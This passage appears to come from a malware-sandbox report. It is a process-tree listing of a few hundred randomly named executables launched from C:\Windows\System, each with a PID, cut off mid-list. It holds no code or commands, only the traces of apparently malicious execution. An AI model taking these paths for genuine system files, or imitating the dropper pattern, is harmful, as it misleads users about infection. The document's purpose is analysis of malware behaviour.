  C:\Windows\System\HmlqRfX.exe
  2⤵
  PID:13184
- C:\Windows\System\fCuhlRS.exe
  C:\Windows\System\fCuhlRS.exe
  2⤵
  PID:13224
- C:\Windows\System\gbPRfgI.exe
  C:\Windows\System\gbPRfgI.exe
  2⤵
  PID:13244
- C:\Windows\System\mpWAcJs.exe
  C:\Windows\System\mpWAcJs.exe
  2⤵
  PID:13268
- C:\Windows\System\YdNsbcI.exe
  C:\Windows\System\YdNsbcI.exe
  2⤵
  PID:12988
- C:\Windows\System\yGPcUyd.exe
  C:\Windows\System\yGPcUyd.exe
  2⤵
  PID:12944
- C:\Windows\System\ohwtGSg.exe
  C:\Windows\System\ohwtGSg.exe
  2⤵
  PID:12960
- C:\Windows\System\fiRwowl.exe
  C:\Windows\System\fiRwowl.exe
  2⤵
  PID:13148
- C:\Windows\System\yqPiqUa.exe
  C:\Windows\System\yqPiqUa.exe
  2⤵
  PID:13056
- C:\Windows\System\vqMiYlk.exe
  C:\Windows\System\vqMiYlk.exe
  2⤵
  PID:13192
- C:\Windows\System\mTnZxeV.exe
  C:\Windows\System\mTnZxeV.exe
  2⤵
  PID:13292
- C:\Windows\System\szKvnWc.exe
  C:\Windows\System\szKvnWc.exe
  2⤵
  PID:13152
- C:\Windows\System\Rnokpsn.exe
  C:\Windows\System\Rnokpsn.exe
  2⤵
  PID:12248
- C:\Windows\System\JKtKTlq.exe
  C:\Windows\System\JKtKTlq.exe
  2⤵
  PID:12620
- C:\Windows\System\aJSBopa.exe
  C:\Windows\System\aJSBopa.exe
  2⤵
  PID:12700
- C:\Windows\System\jzsFpQc.exe
  C:\Windows\System\jzsFpQc.exe
  2⤵
  PID:12340
- C:\Windows\System\rGfeeSU.exe
  C:\Windows\System\rGfeeSU.exe
  2⤵
  PID:12408
- C:\Windows\System\KZjHMYv.exe
  C:\Windows\System\KZjHMYv.exe
  2⤵
  PID:12428
- C:\Windows\System\MkVnKDO.exe
  C:\Windows\System\MkVnKDO.exe
  2⤵
  PID:12796
- C:\Windows\System\LocFuGn.exe
  C:\Windows\System\LocFuGn.exe
  2⤵
  PID:7216
- C:\Windows\System\VYGgwji.exe
  C:\Windows\System\VYGgwji.exe
  2⤵
  PID:13164
- C:\Windows\System\oSwbNfj.exe
  C:\Windows\System\oSwbNfj.exe
  2⤵
  PID:2528
- C:\Windows\System\zTLONLB.exe
  C:\Windows\System\zTLONLB.exe
  2⤵
  PID:3124
- C:\Windows\System\wTlmXYM.exe
  C:\Windows\System\wTlmXYM.exe
  2⤵
  PID:8664
- C:\Windows\System\cTyVWen.exe
  C:\Windows\System\cTyVWen.exe
  2⤵
  PID:8764
- C:\Windows\System\DqOSXvp.exe
  C:\Windows\System\DqOSXvp.exe
  2⤵
  PID:12516
- C:\Windows\System\JChyArA.exe
  C:\Windows\System\JChyArA.exe
  2⤵
  PID:9528
- C:\Windows\System\kQMMIti.exe
  C:\Windows\System\kQMMIti.exe
  2⤵
  PID:1972
- C:\Windows\System\YvGHXop.exe
  C:\Windows\System\YvGHXop.exe
  2⤵
  PID:7652
- C:\Windows\System\uzEnoNY.exe
  C:\Windows\System\uzEnoNY.exe
  2⤵
  PID:4060
- C:\Windows\System\azwnGID.exe
  C:\Windows\System\azwnGID.exe
  2⤵
  PID:7696
- C:\Windows\System\sETTHeh.exe
  C:\Windows\System\sETTHeh.exe
  2⤵
  PID:7860
- C:\Windows\System\YqvNAQi.exe
  C:\Windows\System\YqvNAQi.exe
  2⤵
  PID:1180
- C:\Windows\System\VeFzvIS.exe
  C:\Windows\System\VeFzvIS.exe
  2⤵
  PID:4984
- C:\Windows\System\vFVCKyD.exe
  C:\Windows\System\vFVCKyD.exe
  2⤵
  PID:8080
- C:\Windows\System\lTcbEJP.exe
  C:\Windows\System\lTcbEJP.exe
  2⤵
  PID:7864
- C:\Windows\System\llwJBnC.exe
  C:\Windows\System\llwJBnC.exe
  2⤵
  PID:12772
- C:\Windows\System\jxflvZT.exe
  C:\Windows\System\jxflvZT.exe
  2⤵
  PID:7792
- C:\Windows\System\XYkRitU.exe
  C:\Windows\System\XYkRitU.exe
  2⤵
  PID:8272
- C:\Windows\System\sAupcdD.exe
  C:\Windows\System\sAupcdD.exe
  2⤵
  PID:1952
- C:\Windows\System\izEoBff.exe
  C:\Windows\System\izEoBff.exe
  2⤵
  PID:1532
- C:\Windows\System\pOceGsK.exe
  C:\Windows\System\pOceGsK.exe
  2⤵
  PID:2120
- C:\Windows\System\AvkuTGh.exe
  C:\Windows\System\AvkuTGh.exe
  2⤵
  PID:7224
- C:\Windows\System\oiyTWcr.exe
  C:\Windows\System\oiyTWcr.exe
  2⤵
  PID:8
- C:\Windows\System\BtHVEvD.exe
  C:\Windows\System\BtHVEvD.exe
  2⤵
  PID:3760
- C:\Windows\System\OwCmusA.exe
  C:\Windows\System\OwCmusA.exe
  2⤵
  PID:7236
- C:\Windows\System\ffBQhIQ.exe
  C:\Windows\System\ffBQhIQ.exe
  2⤵
  PID:9548
- C:\Windows\System\slbuOQg.exe
  C:\Windows\System\slbuOQg.exe
  2⤵
  PID:3100
- C:\Windows\System\obixCfI.exe
  C:\Windows\System\obixCfI.exe
  2⤵
  PID:13140
- C:\Windows\System\prLQyTh.exe
  C:\Windows\System\prLQyTh.exe
  2⤵
  PID:10040
- C:\Windows\System\APYGUkg.exe
  C:\Windows\System\APYGUkg.exe
  2⤵
  PID:6640
- C:\Windows\System\HdZzqlE.exe
  C:\Windows\System\HdZzqlE.exe
  2⤵
  PID:4316
- C:\Windows\System\FWjbavA.exe
  C:\Windows\System\FWjbavA.exe
  2⤵
  PID:7848
- C:\Windows\System\iLkCNHL.exe
  C:\Windows\System\iLkCNHL.exe
  2⤵
  PID:4608
- C:\Windows\System\tQMYTaa.exe
  C:\Windows\System\tQMYTaa.exe
  2⤵
  PID:10524
- C:\Windows\System\gcdKGeu.exe
  C:\Windows\System\gcdKGeu.exe
  2⤵
  PID:7252
- C:\Windows\System\AzsukpU.exe
  C:\Windows\System\AzsukpU.exe
  2⤵
  PID:12388
- C:\Windows\System\cEsHZCU.exe
  C:\Windows\System\cEsHZCU.exe
  2⤵
  PID:7060
- C:\Windows\System\HIUfTHs.exe
  C:\Windows\System\HIUfTHs.exe
  2⤵
  PID:10740
- C:\Windows\System\KvmFAWM.exe
  C:\Windows\System\KvmFAWM.exe
  2⤵
  PID:10764
- C:\Windows\System\DhmtqZN.exe
  C:\Windows\System\DhmtqZN.exe
  2⤵
  PID:4968
- C:\Windows\System\cXkEaHT.exe
  C:\Windows\System\cXkEaHT.exe
  2⤵
  PID:9260
- C:\Windows\System\ynBpgLj.exe
  C:\Windows\System\ynBpgLj.exe
  2⤵
  PID:5276
- C:\Windows\System\ARgpUVQ.exe
  C:\Windows\System\ARgpUVQ.exe
  2⤵
  PID:5304
- C:\Windows\System\IVepMyM.exe
  C:\Windows\System\IVepMyM.exe
  2⤵
  PID:4512
- C:\Windows\System\QFHBhUW.exe
  C:\Windows\System\QFHBhUW.exe
  2⤵
  PID:2200
- C:\Windows\System\ofoEgoi.exe
  C:\Windows\System\ofoEgoi.exe
  2⤵
  PID:13132
- C:\Windows\System\MGwNGIA.exe
  C:\Windows\System\MGwNGIA.exe
  2⤵
  PID:7932
- C:\Windows\System\PnrXzjo.exe
  C:\Windows\System\PnrXzjo.exe
  2⤵
  PID:2532
- C:\Windows\System\emOMXmc.exe
  C:\Windows\System\emOMXmc.exe
  2⤵
  PID:6740
- C:\Windows\System\JUEKHfc.exe
  C:\Windows\System\JUEKHfc.exe
  2⤵
  PID:10268
- C:\Windows\System\iZqzuQa.exe
  C:\Windows\System\iZqzuQa.exe
  2⤵
  PID:3396
- C:\Windows\System\IVQxSLD.exe
  C:\Windows\System\IVQxSLD.exe
  2⤵
  PID:7972
- C:\Windows\System\ySTwTYQ.exe
  C:\Windows\System\ySTwTYQ.exe
  2⤵
  PID:9164
- C:\Windows\System\cRhJkPa.exe
  C:\Windows\System\cRhJkPa.exe
  2⤵
  PID:10624
- C:\Windows\System\DcMlNKT.exe
  C:\Windows\System\DcMlNKT.exe
  2⤵
  PID:10248
- C:\Windows\System\tZIIPcN.exe
  C:\Windows\System\tZIIPcN.exe
  2⤵
  PID:7992
- C:\Windows\System\mNZLvbf.exe
  C:\Windows\System\mNZLvbf.exe
  2⤵
  PID:4652
- C:\Windows\System\kPyVrmf.exe
  C:\Windows\System\kPyVrmf.exe
  2⤵
  PID:5128
- C:\Windows\System\SIpKYZT.exe
  C:\Windows\System\SIpKYZT.exe
  2⤵
  PID:6120
- C:\Windows\System\rHrbbED.exe
  C:\Windows\System\rHrbbED.exe
  2⤵
  PID:7172
- C:\Windows\System\VssOTfm.exe
  C:\Windows\System\VssOTfm.exe
  2⤵
  PID:5196
- C:\Windows\System\YrkXKuz.exe
  C:\Windows\System\YrkXKuz.exe
  2⤵
  PID:13284
- C:\Windows\System\UYQoDwm.exe
  C:\Windows\System\UYQoDwm.exe
  2⤵
  PID:2284
- C:\Windows\System\fQuXrVB.exe
  C:\Windows\System\fQuXrVB.exe
  2⤵
  PID:7232
- C:\Windows\System\pootOUa.exe
  C:\Windows\System\pootOUa.exe
  2⤵
  PID:11120
- C:\Windows\System\CKYKuKE.exe
  C:\Windows\System\CKYKuKE.exe
  2⤵
  PID:6316
- C:\Windows\System\wwyHZxt.exe
  C:\Windows\System\wwyHZxt.exe
  2⤵
  PID:5372
- C:\Windows\System\BdlulBd.exe
  C:\Windows\System\BdlulBd.exe
  2⤵
  PID:7396
- C:\Windows\System\BFklLJm.exe
  C:\Windows\System\BFklLJm.exe
  2⤵
  PID:12344
- C:\Windows\System\xAOXJoD.exe
  C:\Windows\System\xAOXJoD.exe
  2⤵
  PID:12368
- C:\Windows\System\WOhUhfO.exe
  C:\Windows\System\WOhUhfO.exe
  2⤵
  PID:1844
- C:\Windows\System\BldnsEh.exe
  C:\Windows\System\BldnsEh.exe
  2⤵
  PID:5480
- C:\Windows\System\MxYxqpJ.exe
  C:\Windows\System\MxYxqpJ.exe
  2⤵
  PID:5524
- C:\Windows\System\zgTkyZL.exe
  C:\Windows\System\zgTkyZL.exe
  2⤵
  PID:2688
- C:\Windows\System\SxpClaD.exe
  C:\Windows\System\SxpClaD.exe
  2⤵
  PID:11612
- C:\Windows\System\VglyIGr.exe
  C:\Windows\System\VglyIGr.exe
  2⤵
  PID:12876
- C:\Windows\System\huOjByq.exe
  C:\Windows\System\huOjByq.exe
  2⤵
  PID:10532
- C:\Windows\System\bvPoZua.exe
  C:\Windows\System\bvPoZua.exe
  2⤵
  PID:9964
- C:\Windows\System\ewTxkEm.exe
  C:\Windows\System\ewTxkEm.exe
  2⤵
  PID:10612
- C:\Windows\System\ZGgnlEC.exe
  C:\Windows\System\ZGgnlEC.exe
  2⤵
  PID:10112
- C:\Windows\System\pnzXDJr.exe
  C:\Windows\System\pnzXDJr.exe
  2⤵
  PID:876
- C:\Windows\System\GjPdmzI.exe
  C:\Windows\System\GjPdmzI.exe
  2⤵
  PID:9632
- C:\Windows\System\JWAkxKY.exe
  C:\Windows\System\JWAkxKY.exe
  2⤵
  PID:5624
- C:\Windows\System\rGIGJql.exe
  C:\Windows\System\rGIGJql.exe
  2⤵
  PID:6644
- C:\Windows\System\cOEBmqD.exe
  C:\Windows\System\cOEBmqD.exe
  2⤵
  PID:1060
- C:\Windows\System\BEcVyfm.exe
  C:\Windows\System\BEcVyfm.exe
  2⤵
  PID:5664
- C:\Windows\System\eHAfAjZ.exe
  C:\Windows\System\eHAfAjZ.exe
  2⤵
  PID:5856
- C:\Windows\System\YjZPViW.exe
  C:\Windows\System\YjZPViW.exe
  2⤵
  PID:5724
- C:\Windows\System\Vczzsvn.exe
  C:\Windows\System\Vczzsvn.exe
  2⤵
  PID:5408
- C:\Windows\System\hUIITOM.exe
  C:\Windows\System\hUIITOM.exe
  2⤵
  PID:5784
- C:\Windows\System\sktwFxt.exe
  C:\Windows\System\sktwFxt.exe
  2⤵
  PID:6844
- C:\Windows\System\qxKZUpF.exe
  C:\Windows\System\qxKZUpF.exe
  2⤵
  PID:5876
- C:\Windows\System\KMhTneA.exe
  C:\Windows\System\KMhTneA.exe
  2⤵
  PID:10840
- C:\Windows\System\qdsNtMl.exe
  C:\Windows\System\qdsNtMl.exe
  2⤵
  PID:5584
- C:\Windows\System\NmSnaxE.exe
  C:\Windows\System\NmSnaxE.exe
  2⤵
  PID:12544
- C:\Windows\System\XJsAcpq.exe
  C:\Windows\System\XJsAcpq.exe
  2⤵
  PID:5324
- C:\Windows\System\Nfufaze.exe
  C:\Windows\System\Nfufaze.exe
  2⤵
  PID:5204
- C:\Windows\System\GuXdeRV.exe
  C:\Windows\System\GuXdeRV.exe
  2⤵
  PID:4812
- C:\Windows\System\dSMUdiM.exe
  C:\Windows\System\dSMUdiM.exe
  2⤵
  PID:5156
- C:\Windows\System\CTEtNGO.exe
  C:\Windows\System\CTEtNGO.exe
  2⤵
  PID:4684
- C:\Windows\System\bBmlOAW.exe
  C:\Windows\System\bBmlOAW.exe
  2⤵
  PID:2068
- C:\Windows\System\rNQwKrG.exe
  C:\Windows\System\rNQwKrG.exe
  2⤵
  PID:9628
- C:\Windows\System\YsoiJgc.exe
  C:\Windows\System\YsoiJgc.exe
  2⤵
  PID:13052
- C:\Windows\System\eiuqRWW.exe
  C:\Windows\System\eiuqRWW.exe
  2⤵
  PID:5016
- C:\Windows\System\pQONGGV.exe
  C:\Windows\System\pQONGGV.exe
  2⤵
  PID:5928
- C:\Windows\System\jTMYbsg.exe
  C:\Windows\System\jTMYbsg.exe
  2⤵
  PID:11212
- C:\Windows\System\BXNGgAE.exe
  C:\Windows\System\BXNGgAE.exe
  2⤵
  PID:10684
- C:\Windows\System\VbanARj.exe
  C:\Windows\System\VbanARj.exe
  2⤵
  PID:4704
- C:\Windows\System\NTaziSn.exe
  C:\Windows\System\NTaziSn.exe
  2⤵
  PID:2596
- C:\Windows\System\QesDgSV.exe
  C:\Windows\System\QesDgSV.exe
  2⤵
  PID:3848
- C:\Windows\System\jbBPtHB.exe
  C:\Windows\System\jbBPtHB.exe
  2⤵
  PID:6200
- C:\Windows\System\XuiLTcs.exe
  C:\Windows\System\XuiLTcs.exe
  2⤵
  PID:9996
- C:\Windows\System\iPgunaa.exe
  C:\Windows\System\iPgunaa.exe
  2⤵
  PID:6376
- C:\Windows\System\tPRawMZ.exe
  C:\Windows\System\tPRawMZ.exe
  2⤵
  PID:3104
- C:\Windows\System\dfIjVKl.exe
  C:\Windows\System\dfIjVKl.exe
  2⤵
  PID:6556
- C:\Windows\System\jBLdmKm.exe
  C:\Windows\System\jBLdmKm.exe
  2⤵
  PID:8416
- C:\Windows\System\maPyMiA.exe
  C:\Windows\System\maPyMiA.exe
  2⤵
  PID:7376
- C:\Windows\System\usgPNrU.exe
  C:\Windows\System\usgPNrU.exe
  2⤵
  PID:32
- C:\Windows\System\jBYfvpX.exe
  C:\Windows\System\jBYfvpX.exe
  2⤵
  PID:8628
- C:\Windows\System\vJvPXKA.exe
  C:\Windows\System\vJvPXKA.exe
  2⤵
  PID:12472
- C:\Windows\System\iqQjKcG.exe
  C:\Windows\System\iqQjKcG.exe
  2⤵
  PID:7088
- C:\Windows\System\iVIzYwN.exe
  C:\Windows\System\iVIzYwN.exe
  2⤵
  PID:1588
- C:\Windows\System\lwmLRfr.exe
  C:\Windows\System\lwmLRfr.exe
  2⤵
  PID:1724
- C:\Windows\System\hVlyNPM.exe
  C:\Windows\System\hVlyNPM.exe
  2⤵
  PID:5132
- C:\Windows\System\ApURsHQ.exe
  C:\Windows\System\ApURsHQ.exe
  2⤵
  PID:10572
- C:\Windows\System\pAuoMJY.exe
  C:\Windows\System\pAuoMJY.exe
  2⤵
  PID:11792
- C:\Windows\System\bUBKZcI.exe
  C:\Windows\System\bUBKZcI.exe
  2⤵
  PID:5640
- C:\Windows\System\vpzkHdm.exe
  C:\Windows\System\vpzkHdm.exe
  2⤵
  PID:3960
- C:\Windows\System\SoBmcSI.exe
  C:\Windows\System\SoBmcSI.exe
  2⤵
  PID:12028
- C:\Windows\System\zBwvcDs.exe
  C:\Windows\System\zBwvcDs.exe
  2⤵
  PID:3400
- C:\Windows\System\SmXbEKk.exe
  C:\Windows\System\SmXbEKk.exe
  2⤵
  PID:3516
- C:\Windows\System\KkdxJFd.exe
  C:\Windows\System\KkdxJFd.exe
  2⤵
  PID:6568
- C:\Windows\System\dABPshA.exe
  C:\Windows\System\dABPshA.exe
  2⤵
  PID:12756
- C:\Windows\System\DZuSWoa.exe
  C:\Windows\System\DZuSWoa.exe
  2⤵
  PID:5748
- C:\Windows\System\mqihHBB.exe
  C:\Windows\System\mqihHBB.exe
  2⤵
  PID:6100
- C:\Windows\System\svqFJiu.exe
  C:\Windows\System\svqFJiu.exe
  2⤵
  PID:5860
- C:\Windows\System\dxIrSnj.exe
  C:\Windows\System\dxIrSnj.exe
  2⤵
  PID:5568
- C:\Windows\System\RoZmEsj.exe
  C:\Windows\System\RoZmEsj.exe
  2⤵
  PID:5648
- C:\Windows\System\hTUstwQ.exe
  C:\Windows\System\hTUstwQ.exe
  2⤵
  PID:5824
- C:\Windows\System\OuEwePq.exe
  C:\Windows\System\OuEwePq.exe
  2⤵
  PID:5332
- C:\Windows\System\zeXtmnR.exe
  C:\Windows\System\zeXtmnR.exe
  2⤵
  PID:6460
- C:\Windows\System\PsZlKPr.exe
  C:\Windows\System\PsZlKPr.exe
  2⤵
  PID:5168
- C:\Windows\System\KVWTZnP.exe
  C:\Windows\System\KVWTZnP.exe
  2⤵
  PID:6132
- C:\Windows\System\TuEYPGD.exe
  C:\Windows\System\TuEYPGD.exe
  2⤵
  PID:5164
- C:\Windows\System\KUdaSyJ.exe
  C:\Windows\System\KUdaSyJ.exe
  2⤵
  PID:6344
- C:\Windows\System\aYnVUxx.exe
  C:\Windows\System\aYnVUxx.exe
  2⤵
  PID:1820
- C:\Windows\System\viTOEMC.exe
  C:\Windows\System\viTOEMC.exe
  2⤵
  PID:1940
- C:\Windows\System\tqCOeiX.exe
  C:\Windows\System\tqCOeiX.exe
  2⤵
  PID:9624
- C:\Windows\System\mysEryB.exe
  C:\Windows\System\mysEryB.exe
  2⤵
  PID:4668
- C:\Windows\System\BTTTqzR.exe
  C:\Windows\System\BTTTqzR.exe
  2⤵
  PID:3480
- C:\Windows\System\oBoKRIb.exe
  C:\Windows\System\oBoKRIb.exe
  2⤵
  PID:2540
- C:\Windows\System\iYVkOrc.exe
  C:\Windows\System\iYVkOrc.exe
  2⤵
  PID:7188
- C:\Windows\System\krkeebp.exe
  C:\Windows\System\krkeebp.exe
  2⤵
  PID:7544
- C:\Windows\System\hySkLJY.exe
  C:\Windows\System\hySkLJY.exe
  2⤵
  PID:612
- C:\Windows\System\opPVYcF.exe
  C:\Windows\System\opPVYcF.exe
  2⤵
  PID:7832
- C:\Windows\System\GUAtxWU.exe
  C:\Windows\System\GUAtxWU.exe
  2⤵
  PID:4404
- C:\Windows\System\dEVyeLu.exe
  C:\Windows\System\dEVyeLu.exe
  2⤵
  PID:7592
- C:\Windows\System\GowRPip.exe
  C:\Windows\System\GowRPip.exe
  2⤵
  PID:5096
- C:\Windows\System\wqWMiJS.exe
  C:\Windows\System\wqWMiJS.exe
  2⤵
  PID:8128
- C:\Windows\System\MiIvvGY.exe
  C:\Windows\System\MiIvvGY.exe
  2⤵
  PID:7184
- C:\Windows\System\APvFHqk.exe
  C:\Windows\System\APvFHqk.exe
  2⤵
  PID:10292
- C:\Windows\System\EMZNqWJ.exe
  C:\Windows\System\EMZNqWJ.exe
  2⤵
  PID:1916
- C:\Windows\System\jCXLjaC.exe
  C:\Windows\System\jCXLjaC.exe
  2⤵
  PID:3408
- C:\Windows\System\XNzgGTO.exe
  C:\Windows\System\XNzgGTO.exe
  2⤵
  PID:7140
- C:\Windows\System\umcAqDi.exe
  C:\Windows\System\umcAqDi.exe
  2⤵
  PID:1620
- C:\Windows\System\yJMYCzb.exe
  C:\Windows\System\yJMYCzb.exe
  2⤵
  PID:5272
- C:\Windows\System\yhKNrUU.exe
  C:\Windows\System\yhKNrUU.exe
  2⤵
  PID:6564
- C:\Windows\System\YGsSrgm.exe
  C:\Windows\System\YGsSrgm.exe
  2⤵
  PID:5596
- C:\Windows\System\UGcaKXB.exe
  C:\Windows\System\UGcaKXB.exe
  2⤵
  PID:7956
- C:\Windows\System\bZkAEJq.exe
  C:\Windows\System\bZkAEJq.exe
  2⤵
  PID:3376
- C:\Windows\System\xlQhofC.exe
  C:\Windows\System\xlQhofC.exe
  2⤵
  PID:5644
- C:\Windows\System\dmpjyQY.exe
  C:\Windows\System\dmpjyQY.exe
  2⤵
  PID:11516
- C:\Windows\System\zqOZcYS.exe
  C:\Windows\System\zqOZcYS.exe
  2⤵
  PID:5428
- C:\Windows\System\LRwbVCt.exe
  C:\Windows\System\LRwbVCt.exe
  2⤵
  PID:7996
- C:\Windows\System\DoTlTiu.exe
  C:\Windows\System\DoTlTiu.exe
  2⤵
  PID:7152
- C:\Windows\System\hJlFrSu.exe
  C:\Windows\System\hJlFrSu.exe
  2⤵
  PID:3588
- C:\Windows\System\oJBWMFN.exe
  C:\Windows\System\oJBWMFN.exe
  2⤵
  PID:8540
- C:\Windows\System\GAsVrqx.exe
  C:\Windows\System\GAsVrqx.exe
  2⤵
  PID:12436
- C:\Windows\System\zZhkRnu.exe
  C:\Windows\System\zZhkRnu.exe
  2⤵
  PID:8732
- C:\Windows\System\eEdNVCp.exe
  C:\Windows\System\eEdNVCp.exe
  2⤵
  PID:5756
- C:\Windows\System\PzAbvoA.exe
  C:\Windows\System\PzAbvoA.exe
  2⤵
  PID:5336
- C:\Windows\System\MgPRfJY.exe
  C:\Windows\System\MgPRfJY.exe
  2⤵
  PID:5972
- C:\Windows\System\gwhonIn.exe
  C:\Windows\System\gwhonIn.exe
  2⤵
  PID:6752
- C:\Windows\System\ZBhrkzh.exe
  C:\Windows\System\ZBhrkzh.exe
  2⤵
  PID:1036
- C:\Windows\System\sUvQpfu.exe
  C:\Windows\System\sUvQpfu.exe
  2⤵
  PID:2320
- C:\Windows\System\ZQPqLNu.exe
  C:\Windows\System\ZQPqLNu.exe
  2⤵
  PID:10636
- C:\Windows\System\qtPEyMf.exe
  C:\Windows\System\qtPEyMf.exe
  2⤵
  PID:9060
- C:\Windows\System\zWITZSl.exe
  C:\Windows\System\zWITZSl.exe
  2⤵
  PID:6816
- C:\Windows\System\nvWrYgh.exe
  C:\Windows\System\nvWrYgh.exe
  2⤵
  PID:4800
- C:\Windows\System\AxTzSyX.exe
  C:\Windows\System\AxTzSyX.exe
  2⤵
  PID:6228
- C:\Windows\System\SnkGnIt.exe
  C:\Windows\System\SnkGnIt.exe
  2⤵
  PID:7240
- C:\Windows\System\WpHEvPB.exe
  C:\Windows\System\WpHEvPB.exe
  2⤵
  PID:3816
- C:\Windows\System\CZiVjGX.exe
  C:\Windows\System\CZiVjGX.exe
  2⤵
  PID:7784
- C:\Windows\System\ZbdTxob.exe
  C:\Windows\System\ZbdTxob.exe
  2⤵
  PID:5256
- C:\Windows\System\vMAsXxG.exe
  C:\Windows\System\vMAsXxG.exe
  2⤵
  PID:11396
- C:\Windows\System\RZPjPWZ.exe
  C:\Windows\System\RZPjPWZ.exe
  2⤵
  PID:5424
- C:\Windows\System\OlMQgRi.exe
  C:\Windows\System\OlMQgRi.exe
  2⤵
  PID:11512
- C:\Windows\System\AdmyNBT.exe
  C:\Windows\System\AdmyNBT.exe
  2⤵
  PID:6304
- C:\Windows\System\TtMqUyq.exe
  C:\Windows\System\TtMqUyq.exe
  2⤵
  PID:8696
- C:\Windows\System\ytqDLTe.exe
  C:\Windows\System\ytqDLTe.exe
  2⤵
  PID:6516
- C:\Windows\System\UstSGvF.exe
  C:\Windows\System\UstSGvF.exe
  2⤵
  PID:9292
- C:\Windows\System\wviknMh.exe
  C:\Windows\System\wviknMh.exe
  2⤵
  PID:12080
- C:\Windows\System\igpzTUG.exe
  C:\Windows\System\igpzTUG.exe
  2⤵
  PID:12596
- C:\Windows\System\FrFOjUd.exe
  C:\Windows\System\FrFOjUd.exe
  2⤵
  PID:6616
- C:\Windows\System\BzFGSIf.exe
  C:\Windows\System\BzFGSIf.exe
  2⤵
  PID:6648
- C:\Windows\System\dKKAXHa.exe
  C:\Windows\System\dKKAXHa.exe
  2⤵
  PID:8468
- C:\Windows\System\TYTUgeo.exe
  C:\Windows\System\TYTUgeo.exe
  2⤵
  PID:4980
- C:\Windows\System\DVzSCZl.exe
  C:\Windows\System\DVzSCZl.exe
  2⤵
  PID:3372
- C:\Windows\System\muWWZSy.exe
  C:\Windows\System\muWWZSy.exe
  2⤵
  PID:9276
- C:\Windows\System\EsxQVbd.exe
  C:\Windows\System\EsxQVbd.exe
  2⤵
  PID:2016
- C:\Windows\System\VWqNBXa.exe
  C:\Windows\System\VWqNBXa.exe
  2⤵
  PID:8716
- C:\Windows\System\coixaWm.exe
  C:\Windows\System\coixaWm.exe
  2⤵
  PID:8808
- C:\Windows\System\qFyPpKn.exe
  C:\Windows\System\qFyPpKn.exe
  2⤵
  PID:10948
- C:\Windows\System\zHtWKOh.exe
  C:\Windows\System\zHtWKOh.exe
  2⤵
  PID:9088
- C:\Windows\System\zdCkYKg.exe
  C:\Windows\System\zdCkYKg.exe
  2⤵
  PID:7748
- C:\Windows\System\jiqbfis.exe
  C:\Windows\System\jiqbfis.exe
  2⤵
  PID:7492
- C:\Windows\System\SLsZadA.exe
  C:\Windows\System\SLsZadA.exe
  2⤵
  PID:12496
- C:\Windows\System\qvGcKpO.exe
  C:\Windows\System\qvGcKpO.exe
  2⤵
  PID:9900
- C:\Windows\System\DNzUvGa.exe
  C:\Windows\System\DNzUvGa.exe
  2⤵
  PID:7440
- C:\Windows\System\LiIUFvf.exe
  C:\Windows\System\LiIUFvf.exe
  2⤵
  PID:9092
- C:\Windows\System\xyacHTf.exe
  C:\Windows\System\xyacHTf.exe
  2⤵
  PID:6604
- C:\Windows\System\FUAGJKy.exe
  C:\Windows\System\FUAGJKy.exe
  2⤵
  PID:9192
- C:\Windows\System\YLfURhT.exe
  C:\Windows\System\YLfURhT.exe
  2⤵
  PID:8784
- C:\Windows\System\UqQyNNs.exe
  C:\Windows\System\UqQyNNs.exe
  2⤵
  PID:9464
- C:\Windows\System\FEbkwDQ.exe
  C:\Windows\System\FEbkwDQ.exe
  2⤵
  PID:888
- C:\Windows\System\WlFpgbw.exe
  C:\Windows\System\WlFpgbw.exe
  2⤵
  PID:9920
- C:\Windows\System\baObnYi.exe
  C:\Windows\System\baObnYi.exe
  2⤵
  PID:10056
- C:\Windows\System\iZQuWvh.exe
  C:\Windows\System\iZQuWvh.exe
  2⤵
  PID:9316
- C:\Windows\System\VkgGqBC.exe
  C:\Windows\System\VkgGqBC.exe
  2⤵
  PID:3484
- C:\Windows\System\lmEoqat.exe
  C:\Windows\System\lmEoqat.exe
  2⤵
  PID:6372
- C:\Windows\System\lppTvcU.exe
  C:\Windows\System\lppTvcU.exe
  2⤵
  PID:10188
- C:\Windows\System\xquXmoV.exe
  C:\Windows\System\xquXmoV.exe
  2⤵
  PID:11768
- C:\Windows\System\frCwqyz.exe
  C:\Windows\System\frCwqyz.exe
  2⤵
  PID:8368
- C:\Windows\System\YlJLbPS.exe
  C:\Windows\System\YlJLbPS.exe
  2⤵
  PID:1284
- C:\Windows\System\HyBkzVl.exe
  C:\Windows\System\HyBkzVl.exe
  2⤵
  PID:9492
- C:\Windows\System\qwXmKXF.exe
  C:\Windows\System\qwXmKXF.exe
  2⤵
  PID:9592
- C:\Windows\System\tiDxZpo.exe
  C:\Windows\System\tiDxZpo.exe
  2⤵
  PID:9728
- C:\Windows\System\gVroDJP.exe
  C:\Windows\System\gVroDJP.exe
  2⤵
  PID:8788
- C:\Windows\System\oCrRjSu.exe
  C:\Windows\System\oCrRjSu.exe
  2⤵
  PID:13204
- C:\Windows\System\HlskYXB.exe
  C:\Windows\System\HlskYXB.exe
  2⤵
  PID:7584
- C:\Windows\System\prvGBFq.exe
  C:\Windows\System\prvGBFq.exe
  2⤵
  PID:5672
- C:\Windows\System\HDsstol.exe
  C:\Windows\System\HDsstol.exe
  2⤵
  PID:8232
- C:\Windows\System\UqKqaCk.exe
  C:\Windows\System\UqKqaCk.exe
  2⤵
  PID:1348
- C:\Windows\System\BBPgCCf.exe
  C:\Windows\System\BBPgCCf.exe
  2⤵
  PID:9676
- C:\Windows\System\JXLvRrU.exe
  C:\Windows\System\JXLvRrU.exe
  2⤵
  PID:9848
- C:\Windows\System\ksOFqNN.exe
  C:\Windows\System\ksOFqNN.exe
  2⤵
  PID:9904
- C:\Windows\System\NhIUWIb.exe
  C:\Windows\System\NhIUWIb.exe
  2⤵
  PID:10192
- C:\Windows\System\ZwrkCZA.exe
  C:\Windows\System\ZwrkCZA.exe
  2⤵
  PID:10672
- C:\Windows\System\tRxWBFx.exe
  C:\Windows\System\tRxWBFx.exe
  2⤵
  PID:3188
- C:\Windows\System\kesHxba.exe
  C:\Windows\System\kesHxba.exe
  2⤵
  PID:3444
- C:\Windows\System\OOkXgjO.exe
  C:\Windows\System\OOkXgjO.exe
  2⤵
  PID:5264
- C:\Windows\System\adFMwZm.exe
  C:\Windows\System\adFMwZm.exe
  2⤵
  PID:7732
- C:\Windows\System\rQGYvgm.exe
  C:\Windows\System\rQGYvgm.exe
  2⤵
  PID:9336
- C:\Windows\System\WHNGhtv.exe
  C:\Windows\System\WHNGhtv.exe
  2⤵
  PID:6892
- C:\Windows\System\GAgSzsD.exe
  C:\Windows\System\GAgSzsD.exe
  2⤵
  PID:6084
- C:\Windows\System\CODMEwC.exe
